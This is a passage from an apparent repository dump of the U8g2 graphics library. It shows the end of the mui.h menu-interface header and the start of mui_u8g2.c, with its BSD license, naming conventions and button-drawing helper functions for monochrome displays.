MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE|MUIF_CFLAG_IS_EXECUTE_ON_SELECT,0,cb)\n#define MUIF_VARIABLE(id,var,cb) MUIF(id,MUIF_CFLAG_IS_CURSOR_SELECTABLE,(var),cb)\n\n\n\n/* must be smaller than or equal to 255 */\n#ifndef MUI_MAX_TEXT_LEN\n#define MUI_MAX_TEXT_LEN 41\n#endif\n\n#define MUI_MENU_CACHE_CNT 2\n\nstruct mui_struct\n{\n  void *graphics_data;\n  fds_t *root_fds;  \n  \n  muif_t *muif_tlist;\n  size_t muif_tcnt;\n  \n  fds_t *current_form_fds;         // the current form, NULL if the ui is not active at the moment\n  fds_t *cursor_focus_fds;           // the field which has the current cursor focus, NULL if there is no current focus\n  fds_t *touch_focus_fds;            // the field which has touch focus\n\n  fds_t *token;             // current token position\n\n  uint16_t form_scroll_total;            // reserved for MUIF, not used by mui\n  uint16_t form_scroll_top;              // reserved for MUIF, not used by mui\n  uint8_t form_scroll_visible;          // reserved for MUIF, not used by mui\n  \n  \n  //uint8_t selected_value;   // This variable is not used by the user interface but can be used by any field function\n  uint8_t tmp8;\n  \n  /* 0: mse, 1: mud */\n  uint8_t is_mud;         // a temp variable for the MUIF function to store remember up down mode. This variable will be cleared before sending MUIF_MSG_CURSOR_ENTER\n  /* current field/style variables */\n  //uint8_t cursor_focus_position;        // the index of the field which has focus, can be used as last argument for mui_EnterForm\n  \n  uint8_t delimiter;    // outer delimiter of the text part of a field\n  uint8_t cmd;          // current cmd or field (e.g. U or F)\n  uint8_t id0;            // identifier of the field, manually provided or derived (G cmd has fixed id \"FG\")\n  uint8_t id1;\n  uint8_t x;               // position of the field\n  uint8_t y;\n  uint8_t dflags;\n  uint8_t arg;          // extra argument of the field. For example the G: form is put here\n  int len;          // length of the current command\n  fds_t *fds;             // current position, *fds = cmd\n  muif_t *uif;                   // user interface field or style for the given id0 / id1, assigned by mui_prepare_current_field()\n  char text[MUI_MAX_TEXT_LEN+1];\n\n  /* target  */\n  fds_t *tmp_fds;\n  fds_t *target_fds;     // used by several task functions as a return / result value\n  \n  /* last form and field, used by mui_SaveForm and mui_RestoreForm */\n  uint8_t last_form_id;\n  uint8_t last_form_cursor_focus_position;\n  fds_t *last_form_fds;           // not used by mui_RestoreForm, but can be used by field functions\n  \n  /* menu cursor position backup */\n  uint8_t menu_form_id[MUI_MENU_CACHE_CNT];\n  uint8_t menu_form_cursor_focus_position[MUI_MENU_CACHE_CNT];\n  uint8_t menu_form_last_added;\n} ;\n\n#define mui_IsCursorFocus(mui) ((mui)->dflags & MUIF_DFLAG_IS_CURSOR_FOCUS)\n#define mui_IsTouchFocus(mui) ((mui)->dflags & MUIF_CFLAG_IS_TOUCH_SELECTABLE)\n\n\n\n\n/*=== form string definitions ===*/\n\n#define MUI_0 \"\\x00\"\n#define MUI_1 \"\\x01\"\n#define MUI_2 \"\\x02\"\n#define MUI_3 \"\\x03\"\n#define MUI_4 \"\\x04\"\n#define MUI_5 \"\\x05\"\n#define MUI_6 \"\\x06\"\n#define MUI_7 \"\\x07\"\n#define MUI_8 \"\\x08\"\n#define MUI_9 \"\\x09\"\n#define MUI_10 \"\\x0a\"\n#define MUI_11 \"\\x0b\"\n#define MUI_12 \"\\x0c\"\n#define MUI_13 \"\\x0d\"\n#define MUI_14 \"\\x0e\"\n#define MUI_15 \"\\x0f\"\n#define MUI_16 \"\\x10\"\n#define MUI_17 \"\\x11\"\n#define MUI_18 \"\\x12\"\n#define MUI_19 \"\\x13\"\n#define MUI_20 \"\\x14\"\n#define MUI_21 \"\\x15\"\n#define MUI_22 \"\\x16\"\n#define MUI_23 \"\\x17\"\n#define MUI_24 \"\\x18\"\n#define MUI_25 \"\\x19\"\n#define MUI_26 \"\\x1a\"\n#define MUI_27 \"\\x1b\"\n#define MUI_28 \"\\x1c\"\n#define MUI_29 \"\\x1d\"\n#define MUI_30 \"\\x1e\"\n#define MUI_31 \"\\x1f\"\n#define MUI_32 \"\\x20\"\n#define MUI_33 \"\\x21\"\n#define MUI_34 \"\\x22\"\n#define MUI_35 \"\\x23\"\n#define MUI_36 \"\\x24\"\n#define MUI_37 \"\\x25\"\n#define MUI_38 \"\\x26\"\n#define MUI_39 \"\\x27\"\n#define MUI_40 \"\\x28\"\n#define MUI_41 \"\\x29\"\n#define MUI_42 \"\\x2a\"\n#define MUI_43 \"\\x2b\"\n#define MUI_44 \"\\x2c\"\n#define MUI_45 \"\\x2d\"\n#define MUI_46 \"\\x2e\"\n#define MUI_47 \"\\x2f\"\n#define MUI_48 \"\\x30\"\n#define MUI_49 \"\\x31\"\n#define MUI_50 \"\\x32\"\n#define MUI_51 \"\\x33\"\n#define MUI_52 \"\\x34\"\n#define MUI_53 \"\\x35\"\n#define MUI_54 \"\\x36\"\n#define MUI_55 \"\\x37\"\n#define MUI_56 \"\\x38\"\n#define MUI_57 \"\\x39\"\n#define MUI_58 \"\\x3a\"\n#define MUI_59 \"\\x3b\"\n#define MUI_60 \"\\x3c\"\n#define MUI_61 \"\\x3d\"\n#define MUI_62 \"\\x3e\"\n#define MUI_63 \"\\x3f\"\n#define MUI_64 \"\\x40\"\n#define MUI_65 \"\\x41\"\n#define MUI_66 \"\\x42\"\n#define MUI_67 \"\\x43\"\n#define MUI_68 \"\\x44\"\n#define MUI_69 \"\\x45\"\n#define MUI_70 \"\\x46\"\n#define MUI_71 \"\\x47\"\n#define MUI_72 \"\\x48\"\n#define MUI_73 \"\\x49\"\n#define MUI_74 \"\\x4a\"\n#define MUI_75 \"\\x4b\"\n#define MUI_76 \"\\x4c\"\n#define MUI_77 \"\\x4d\"\n#define MUI_78 \"\\x4e\"\n#define MUI_79 \"\\x4f\"\n#define MUI_80 \"\\x50\"\n#define MUI_81 \"\\x51\"\n#define MUI_82 \"\\x52\"\n#define MUI_83 \"\\x53\"\n#define MUI_84 \"\\x54\"\n#define MUI_85 \"\\x55\"\n#define MUI_86 \"\\x56\"\n#define MUI_87 \"\\x57\"\n#define MUI_88 \"\\x58\"\n#define MUI_89 \"\\x59\"\n#define MUI_90 \"\\x5a\"\n#define MUI_91 \"\\x5b\"\n#define MUI_92 \"\\x5c\"\n#define MUI_93 \"\\x5d\"\n#define MUI_94 \"\\x5e\"\n#define MUI_95 \"\\x5f\"\n#define MUI_96 \"\\x60\"\n#define MUI_97 \"\\x61\"\n#define MUI_98 \"\\x62\"\n#define MUI_99 \"\\x63\"\n#define MUI_100 \"\\x64\"\n#define MUI_101 \"\\x65\"\n#define MUI_102 \"\\x66\"\n#define MUI_103 \"\\x67\"\n#define MUI_104 \"\\x68\"\n#define MUI_105 \"\\x69\"\n#define MUI_106 \"\\x6a\"\n#define MUI_107 \"\\x6b\"\n#define MUI_108 \"\\x6c\"\n#define MUI_109 \"\\x6d\"\n#define MUI_110 \"\\x6e\"\n#define MUI_111 \"\\x6f\"\n#define MUI_112 \"\\x70\"\n#define MUI_113 \"\\x71\"\n#define MUI_114 \"\\x72\"\n#define MUI_115 \"\\x73\"\n#define MUI_116 \"\\x74\"\n#define MUI_117 \"\\x75\"\n#define MUI_118 \"\\x76\"\n#define MUI_119 \"\\x77\"\n#define MUI_120 \"\\x78\"\n#define MUI_121 \"\\x79\"\n#define MUI_122 \"\\x7a\"\n#define MUI_123 \"\\x7b\"\n#define MUI_124 \"\\x7c\"\n#define MUI_125 \"\\x7d\"\n#define MUI_126 \"\\x7e\"\n#define MUI_127 \"\\x7f\"\n#define MUI_128 \"\\x80\"\n#define MUI_129 \"\\x81\"\n#define MUI_130 \"\\x82\"\n#define MUI_131 \"\\x83\"\n#define MUI_132 \"\\x84\"\n#define MUI_133 \"\\x85\"\n#define MUI_134 \"\\x86\"\n#define MUI_135 \"\\x87\"\n#define MUI_136 \"\\x88\"\n#define MUI_137 \"\\x89\"\n#define MUI_138 \"\\x8a\"\n#define MUI_139 \"\\x8b\"\n#define MUI_140 \"\\x8c\"\n#define MUI_141 \"\\x8d\"\n#define MUI_142 \"\\x8e\"\n#define MUI_143 \"\\x8f\"\n#define MUI_144 \"\\x90\"\n#define MUI_145 \"\\x91\"\n#define MUI_146 \"\\x92\"\n#define MUI_147 \"\\x93\"\n#define MUI_148 \"\\x94\"\n#define MUI_149 \"\\x95\"\n#define MUI_150 \"\\x96\"\n#define MUI_151 \"\\x97\"\n#define MUI_152 \"\\x98\"\n#define MUI_153 \"\\x99\"\n#define MUI_154 \"\\x9a\"\n#define MUI_155 \"\\x9b\"\n#define MUI_156 \"\\x9c\"\n#define MUI_157 \"\\x9d\"\n#define MUI_158 \"\\x9e\"\n#define MUI_159 \"\\x9f\"\n#define MUI_160 \"\\xa0\"\n#define MUI_161 \"\\xa1\"\n#define MUI_162 \"\\xa2\"\n#define MUI_163 \"\\xa3\"\n#define MUI_164 \"\\xa4\"\n#define MUI_165 \"\\xa5\"\n#define MUI_166 \"\\xa6\"\n#define MUI_167 \"\\xa7\"\n#define MUI_168 \"\\xa8\"\n#define MUI_169 \"\\xa9\"\n#define MUI_170 \"\\xaa\"\n#define MUI_171 \"\\xab\"\n#define MUI_172 \"\\xac\"\n#define MUI_173 \"\\xad\"\n#define MUI_174 \"\\xae\"\n#define MUI_175 \"\\xaf\"\n#define MUI_176 \"\\xb0\"\n#define MUI_177 \"\\xb1\"\n#define MUI_178 \"\\xb2\"\n#define MUI_179 \"\\xb3\"\n#define MUI_180 \"\\xb4\"\n#define MUI_181 \"\\xb5\"\n#define MUI_182 \"\\xb6\"\n#define MUI_183 \"\\xb7\"\n#define MUI_184 \"\\xb8\"\n#define MUI_185 \"\\xb9\"\n#define MUI_186 \"\\xba\"\n#define MUI_187 \"\\xbb\"\n#define MUI_188 \"\\xbc\"\n#define MUI_189 \"\\xbd\"\n#define MUI_190 \"\\xbe\"\n#define MUI_191 \"\\xbf\"\n#define MUI_192 \"\\xc0\"\n#define MUI_193 \"\\xc1\"\n#define MUI_194 \"\\xc2\"\n#define MUI_195 \"\\xc3\"\n#define MUI_196 \"\\xc4\"\n#define MUI_197 \"\\xc5\"\n#define MUI_198 \"\\xc6\"\n#define MUI_199 \"\\xc7\"\n#define MUI_200 \"\\xc8\"\n#define MUI_201 \"\\xc9\"\n#define MUI_202 \"\\xca\"\n#define MUI_203 \"\\xcb\"\n#define MUI_204 \"\\xcc\"\n#define MUI_205 \"\\xcd\"\n#define MUI_206 \"\\xce\"\n#define MUI_207 \"\\xcf\"\n#define MUI_208 \"\\xd0\"\n#define MUI_209 \"\\xd1\"\n#define MUI_210 \"\\xd2\"\n#define MUI_211 \"\\xd3\"\n#define MUI_212 \"\\xd4\"\n#define MUI_213 \"\\xd5\"\n#define MUI_214 \"\\xd6\"\n#define MUI_215 \"\\xd7\"\n#define MUI_216 \"\\xd8\"\n#define MUI_217 \"\\xd9\"\n#define MUI_218 \"\\xda\"\n#define MUI_219 \"\\xdb\"\n#define MUI_220 \"\\xdc\"\n#define MUI_221 \"\\xdd\"\n#define MUI_222 \"\\xde\"\n#define MUI_223 \"\\xdf\"\n#define MUI_224 \"\\xe0\"\n#define MUI_225 \"\\xe1\"\n#define MUI_226 \"\\xe2\"\n#define MUI_227 \"\\xe3\"\n#define MUI_228 \"\\xe4\"\n#define MUI_229 \"\\xe5\"\n#define MUI_230 \"\\xe6\"\n#define MUI_231 \"\\xe7\"\n#define MUI_232 \"\\xe8\"\n#define MUI_233 \"\\xe9\"\n#define MUI_234 \"\\xea\"\n#define MUI_235 \"\\xeb\"\n#define MUI_236 \"\\xec\"\n#define MUI_237 \"\\xed\"\n#define MUI_238 \"\\xee\"\n#define MUI_239 \"\\xef\"\n#define MUI_240 \"\\xf0\"\n#define MUI_241 \"\\xf1\"\n#define MUI_242 \"\\xf2\"\n#define MUI_243 \"\\xf3\"\n#define MUI_244 \"\\xf4\"\n#define MUI_245 \"\\xf5\"\n#define MUI_246 \"\\xf6\"\n#define MUI_247 \"\\xf7\"\n#define MUI_248 \"\\xf8\"\n#define MUI_249 \"\\xf9\"\n#define MUI_250 \"\\xfa\"\n#define MUI_251 \"\\xfb\"\n#define MUI_252 \"\\xfc\"\n#define MUI_253 \"\\xfd\"\n#define MUI_254 \"\\xfe\"\n#define MUI_255 \"\\xff\"\n\n/* form: one id only */\n#define MUI_FORM(n) \"U\" MUI_##n\n\n/* style: one id only */\n#define MUI_STYLE(n) \"S\" #n\n\n#define MUI_AUX(id) \"Z\" id\n\n#define MUI_DATA(id, text) \"D\" id \"\\xff\" text \"\\xff\"\n\n#define MUI_XY(id, x, y) \"F\" id MUI_##x MUI_##y\n/* button id must be two chars, but must be unique everywhere */\n#define MUI_XYT(id, x,y,text) \"B\" id MUI_##x MUI_##y  \"\\xff\" text \"\\xff\"\n#define MUI_XYA(id, x,y,a) \"A\" id MUI_##x MUI_##y  MUI_##a\n#define MUI_XYAT(id, x,y,a,text) \"T\" id MUI_##x MUI_##y  MUI_##a \"\\xff\" text \"\\xff\"\n\n#define MUI_LABEL(x,y,text) \"L\" MUI_##x MUI_##y \"\\xff\" text \"\\xff\"\n#define MUI_GOTO(x,y,n,text) \"G\" MUI_##x MUI_##y MUI_##n \"\\xff\" text \"\\xff\"\n#define MUI_goto(x,y,n,text) \"g\" MUI_##x MUI_##y MUI_##n \"\\xff\" text \"\\xff\"\n\n\nuint8_t mui_get_fds_char(fds_t *s) MUI_NOINLINE;\n\nuint8_t mui_fds_first_token(mui_t *ui) MUI_NOINLINE;\nuint8_t mui_fds_next_token(mui_t *ui) MUI_NOINLINE;\nuint8_t mui_fds_get_nth_token(mui_t *ui, uint8_t n) MUI_NOINLINE;\nuint8_t mui_fds_get_token_cnt(mui_t *ui) MUI_NOINLINE;\n\nvoid mui_Init(mui_t *ui, void *graphics_data, fds_t *fds, muif_t *muif_tlist, size_t muif_tcnt);\nuint8_t mui_GetCurrentCursorFocusPosition(mui_t *ui) ;\nvoid mui_Draw(mui_t *ui);\n/* warning: The next function will overwrite the ui field variables like ui->arg, etc. 26 sep 2021: only ui->text is modified */\nuint8_t mui_GetSelectableFieldTextOption(mui_t *ui, fds_t *fds, uint8_t nth_token);\n/* warning: The next function will overwrite the ui field variables like ui->arg, etc 26 sep 2021: only ui->text is modified*/\nuint8_t mui_GetSelectableFieldOptionCnt(mui_t *ui, fds_t *fds);\nvoid mui_EnterForm(mui_t *ui, fds_t *fds, uint8_t initial_cursor_position);\nvoid mui_LeaveForm(mui_t *ui);\nuint8_t mui_GotoForm(mui_t *ui, uint8_t form_id, uint8_t initial_cursor_position);\nvoid mui_SaveForm(mui_t *ui);     /* Save current form+cursor position. Used together with mui_RestoreForm */\nvoid mui_RestoreForm(mui_t *ui);        /* Restore form and cursor position, previously saved with mui_SaveForm */\nvoid mui_SaveCursorPosition(mui_t *ui, uint8_t cursor_position);         /* stores a cursor position for use with mui_GotoFormAutoCursorPosition */\nuint8_t mui_GotoFormAutoCursorPosition(mui_t *ui, uint8_t form_id);\n\nint mui_GetCurrentFormId(mui_t *ui);    /* form id or -1 if the menu system is inactive */\nvoid mui_NextField(mui_t *ui);\nvoid mui_PrevField(mui_t *ui);\nvoid mui_SendSelect(mui_t *ui);\nvoid mui_SendSelectWithExecuteOnSelectFieldSearch(mui_t *ui);  /* use this if MUIF_EXECUTE_ON_SELECT_BUTTON is used */\n\nvoid mui_SendValueIncrement(mui_t *ui);\nvoid mui_SendValueDecrement(mui_t *ui);\n\n\n\n#define mui_IsFormActive(ui) ((ui)->current_form_fds != NULL) \n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* MUI_H */\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/mui_u8g2.c",
    "content": "/*\n\n  mui_u8g2.c\n\n  Monochrome minimal user interface: Glue code between mui and u8g2.\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n/*\n\n  field function naming convention\n\n    action\n      draw_text:                        (rename from draw label)\n      draw_str:                      \n      btn_jmp   button jump to:                      a button which jumps to a specific form\n      btn_exit          button leave:                     a button which leaves the form and places an exit code into a uint8 variable\n      u8_value_0_9      \n      u8_chkbox\n      u8_radio\n      u8_opt_line       edit value options in the same line\n      u8_opt_parent       edit value options parent\n      u8_opt_child       edit value options child\n    \n    \n    field width (not for draw text/str)\n      wm                minimum width\n      wa                width can be provided via FDS argument\n      w1                full display width\n      w2                half display size (minus some pixel)\n      w3                one/third of the dispay width (minus some pixel)\n\n    edit mode  (not for draw text/str, buttons and checkbox)                  \n      mse       select: select event will increment the value or activate the field (buttons)\n      mud      up/down:  select will enter the up/down edit mode. Next/prev event will increment/decrement the value\n      \n    styles (not for draw text/str)\n      unselected                selected                        up/down edit                            postfix         Use for\n      plain                          invers                             invers + gap + frame            pi                      input elements\n      frame                         invers+frame                frame                                       fi                  buttons\n      \n      plain                          frame                              invers + frame                         pf               input elements\n      invers                        frame                               invers + frame                          if              buttons\n      \n      \n    mui_u8g2_[action]_[field_width]_[edit_mode]_[style]\n\n  mui _label_u8g2 --> mui_u8g2_draw_text\n  mui _goto_frame_button_invers_select_u8g2                              --> mui_u8g2_btn_goto_wm_fi\n  mui _goto_half_width_frame_button_invers_select_u8g2           --> mui_u8g2_btn_goto_w2_fi\n  mui _goto_line_button_invers_select_u8g2 -->  mui_u8g2_btn_goto_w1_fi\n  mui _leave_menu_frame_button_invers_select_u8g2 --> mui_u8g2_btn_exit_wm_fi\n  \n  mui _input_uint8_invers_select_u8g2 --> mui_u8g2_u8_value_0_9_wm_mse_pi\n  mui _single_line_option_invers_select_u8g2     --> mui_u8g2_u8_opt_line_wa_mse_pi\n  mui _select_options_parent_invers_select_u8g2  --> mui_u8g2_u8_opt_parent_wa_mse_pi\n  mui _select_options_child_invers_select_u8g2  --> mui_u8g2_u8_opt_child_wm_pi\n\n  mui _checkbox_invers_select_u8g2 --> mui_u8g2_u8_chkbox_wm_pi\n  mui _radio_invers_select_u8g2 --> mui_u8g2_u8_radio_wm_pi\n\n  mui _input_char_invers_select_u8g2 --> mui_u8g2_u8_char_wm_mud_pi\n\n\n\n  2 Buttons\n    Only use \"mse\", don't use \"mud\"\n  \n    Button      Call                            Description\n    1                mui_SendSelect()    Activate elements & change values\n    2                mui_NextField()      Goto next field\n    \n  3 Buttons\n    Use \"mse\" or \"mud\"\n    Button      Call                            Description\n    1                mui_SendSelect()    Activate elements / change values (mse) / enter \"mud\" mode (mud)\n    2                mui_NextField()      Goto next field, increment value (mud)\n    3                mui_PrevField()      Goto prev field, decrement value (mud)\n    \n  4 Buttons\n    Prefer \"mse\"\n    Button      Call                                            Description\n    1                mui_SendValueIncrement()    Activate elements / increment values (mse)\n    2                mui_SendValueDecrement()   Activate elements / decrement values (mse)\n    3                mui_NextField()                       Goto next field\n    4                mui_PrevField()                        Goto prev field\n\n  5 Buttons\n    Prefer \"mse\", use the MUIF_EXECUTE_ON_SELECT_BUTTON on forms to finish the form with the \"form select\" button 5\n    Button      Call                                                                                            Description\n    1                mui_SendValueIncrement()                                                           Activate elements / increment values (mse)\n    2                mui_SendValueDecrement()                                                         Activate elements / decrement values (mse)\n    3                mui_NextField()                                                                            Goto next field\n    4                mui_PrevField()                                                                     Goto prev field\n    5                mui_SendSelectWithExecuteOnSelectFieldSearch()             Execute the MUIF_EXECUTE_ON_SELECT_BUTTON button or activate the current element if there is no EOS button\n    \n  rotary encoder, push&release\n    Prefer \"mud\"\n    Button      Call                            Description\n    encoder button                 mui_SendSelect()    Activate elements / change values (mse) / enter \"mud\" mode (mud)\n    encoder CW                      mui_NextField()      Goto next field, increment value (mud)\n    encoder CCW                    mui_PrevField()      Goto prev field, decrement value (mud)\n  \n  rotary encoder, push&rotate\n    Prefer \"mse\"\n    Button                                      Call                                            Description\n    encoder CW                                  mui_SendValueIncrement()    Activate elements / increment values (mse)\n    encoder CCW                                 mui_SendValueDecrement()   Activate elements / decrement values (mse)\n    encoder CW+button press                mui_NextField()                       Goto next field\n    encoder CCW+button press                mui_PrevField()                        Goto prev field\n\n\n*/\n\n\n\n#include \"mui.h\"\n#include \"u8g2.h\"\n#include \"mui_u8g2.h\"\n\n/*\n\nuint8_t mui_template(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  //ui->dflags                          MUIF_DFLAG_IS_CURSOR_FOCUS       MUIF_DFLAG_IS_TOUCH_FOCUS\n  //muif_get_cflags(ui->uif)       MUIF_CFLAG_IS_CURSOR_SELECTABLE\n  //muif_get_data(ui->uif)\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_VALUE_INCREMENT:\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n*/\n\n/*=========================================================================*/\n#define MUI_U8G2_V_PADDING 1\n\n/*=========================================================================*/\n/* extra u8g2 drawing functions */\n\nstatic void u8g2_DrawCheckbox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked) MUI_NOINLINE;\nstatic void u8g2_DrawCheckbox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked)\n{\n  u8g2_DrawFrame(u8g2, x, y-w, w, w);\n  if ( is_checked )\n  {\n    w-=4;\n    u8g2_DrawBox(u8g2, x+2, y-w-2, w, w);\n  }\n}\n\nstatic void u8g2_DrawValueMark(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w)\n{\n  u8g2_DrawBox(u8g2, x, y-w, w, w);\n}\n\n\n/*=========================================================================*/\n/* helper function */\n\nu8g2_uint_t mui_get_x(mui_t *ui) MUI_NOINLINE;\nu8g2_uint_t mui_get_x(mui_t *ui)\n{\n  if ( u8g2_GetDisplayWidth(mui_get_U8g2(ui)) >= 255 )\n      return ui->x / 2;\n  return ui->x;\n}\n\nu8g2_uint_t mui_get_y(mui_t *ui)\n{\n  return ui->y;\n}\n\nu8g2_t *mui_get_U8g2(mui_t *ui)\n{\n  return (u8g2_t *)(ui->graphics_data);\n}\n\n//void u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text);\nvoid mui_u8g2_draw_button_utf(mui_t *ui, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text)\n{\n  if ( text==NULL)\n    text = \"\";\n  u8g2_DrawButtonUTF8(mui_get_U8g2(ui), mui_get_x(ui), mui_get_y(ui), flags, width, padding_h, padding_v, text);\n}\n\nu8g2_uint_t mui_u8g2_get_pi_flags(mui_t *ui)\n{\n  u8g2_uint_t flags = 0;\n  if ( mui_IsCursorFocus(ui) )\n  {\n    flags |= U8G2_BTN_INV;\n    if ( ui->is_mud )\n    {\n      flags |= U8G2_BTN_XFRAME;\n    }      \n  }\n  return flags;\n}\n\n\nvoid mui_u8g2_draw_button_pi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text)\n{\n  mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text);\n}\n\n\nu8g2_uint_t mui_u8g2_get_fi_flags(mui_t *ui)\n{\n  u8g2_uint_t flags = 1;\n  if ( mui_IsCursorFocus(ui) )\n  {\n    flags |= U8G2_BTN_INV;\n    if ( ui->is_mud )\n    {\n      flags = 1;        // undo INV\n    }      \n  }\n  return flags;\n}\n\nvoid mui_u8g2_draw_button_fi(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text)\n{\n  mui_u8g2_draw_button_utf(ui, mui_u8g2_get_fi_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text);\n}\n\n\nu8g2_uint_t mui_u8g2_get_pf_flags(mui_t *ui)\n{\n  u8g2_uint_t flags = 0;\n  if ( mui_IsCursorFocus(ui) )\n  {\n    flags |= 1;\n    if ( ui->is_mud )\n    {\n      flags |= U8G2_BTN_INV;\n    }      \n  }\n  return flags;\n}\n\nvoid mui_u8g2_draw_button_pf(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text)\n{\n  mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pf_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text);\n}\n\n\nu8g2_uint_t mui_u8g2_get_if_flags(mui_t *ui)\n{\n  u8g2_uint_t flags = 0;\n  if ( mui_IsCursorFocus(ui) )\n  {\n    if ( ui->is_mud )\n    {\n      flags |= 1;\n      flags |= U8G2_BTN_INV;\n    }\n    else\n    {\n      flags |= 1;\n    }\n  }\n  else\n  {\n      flags |= U8G2_BTN_INV;\n  }\n  return flags;\n}\n\nvoid mui_u8g2_draw_button_if(mui_t *ui, u8g2_uint_t width, u8g2_uint_t padding_h, const char *text)\n{\n  mui_u8g2_draw_button_utf(ui, mui_u8g2_get_if_flags(ui), width, padding_h , MUI_U8G2_V_PADDING, text);\n}\n\n\nstatic uint8_t mui_u8g2_handle_scroll_next_prev_events(mui_t *ui, uint8_t msg) MUI_NOINLINE;\nstatic uint8_t mui_u8g2_handle_scroll_next_prev_events(mui_t *ui, uint8_t msg)\n{\n  uint8_t arg = ui->arg;\n  switch(msg)\n  {\n    case MUIF_MSG_CURSOR_ENTER:\n      if ( (arg > 0) && (ui->form_scroll_top + arg >= ui->form_scroll_total) )\n        return 255;\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( arg+1 == ui->form_scroll_visible )\n      {\n        if ( ui->form_scroll_visible + ui->form_scroll_top < ui->form_scroll_total )\n        {\n          ui->form_scroll_top++;\n          return 1;\n        }\n        else\n        {\n          ui->form_scroll_top = 0;\n        }\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( arg == 0 )\n      {\n        if ( ui->form_scroll_top > 0 )\n        {\n          ui->form_scroll_top--;\n          return 1;\n        }\n        else\n        {\n          if ( ui->form_scroll_total >  ui->form_scroll_visible  )\n          {\n            ui->form_scroll_top = ui->form_scroll_total - ui->form_scroll_visible;\n          }\n          else\n          {\n            ui->form_scroll_top = 0;\n          }\n        }\n      }\n      break;\n  }\n  return 0;\n}\n\n/*=========================================================================*/\n/* simplified style function  */\n\n/*\nUsed for MUIF_U8G2_FONT_STYLE(n,font)\n*/\n\nuint8_t mui_u8g2_set_font_style_function(mui_t *ui, uint8_t msg)\n{  \n  if ( msg == MUIF_MSG_DRAW )\n  {\n    u8g2_SetFont(mui_get_U8g2(ui), (uint8_t *)muif_get_data(ui->uif));\n  }\n  return 0;\n}\n\n\n\n/*=========================================================================*/\n/* field functions */\n\n/*\n  xy: yes, arg: no, text: yes\n*/\n\nuint8_t mui_u8g2_draw_text(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      u8g2_DrawUTF8(mui_get_U8g2(ui), mui_get_x(ui), mui_get_y(ui), ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n      break;\n    case MUIF_MSG_VALUE_INCREMENT:\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\n\n/*\n\n  uint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg)\n\n  Description:\n    A button with size equal to button text plus one pixel padding\n    The button has a one pixel frame around the text.\n    If the selected, then the form will change to the specified form number.\n    \n  Message Handling: DRAW, CURSOR_SELECT\n\n  Style\n    No 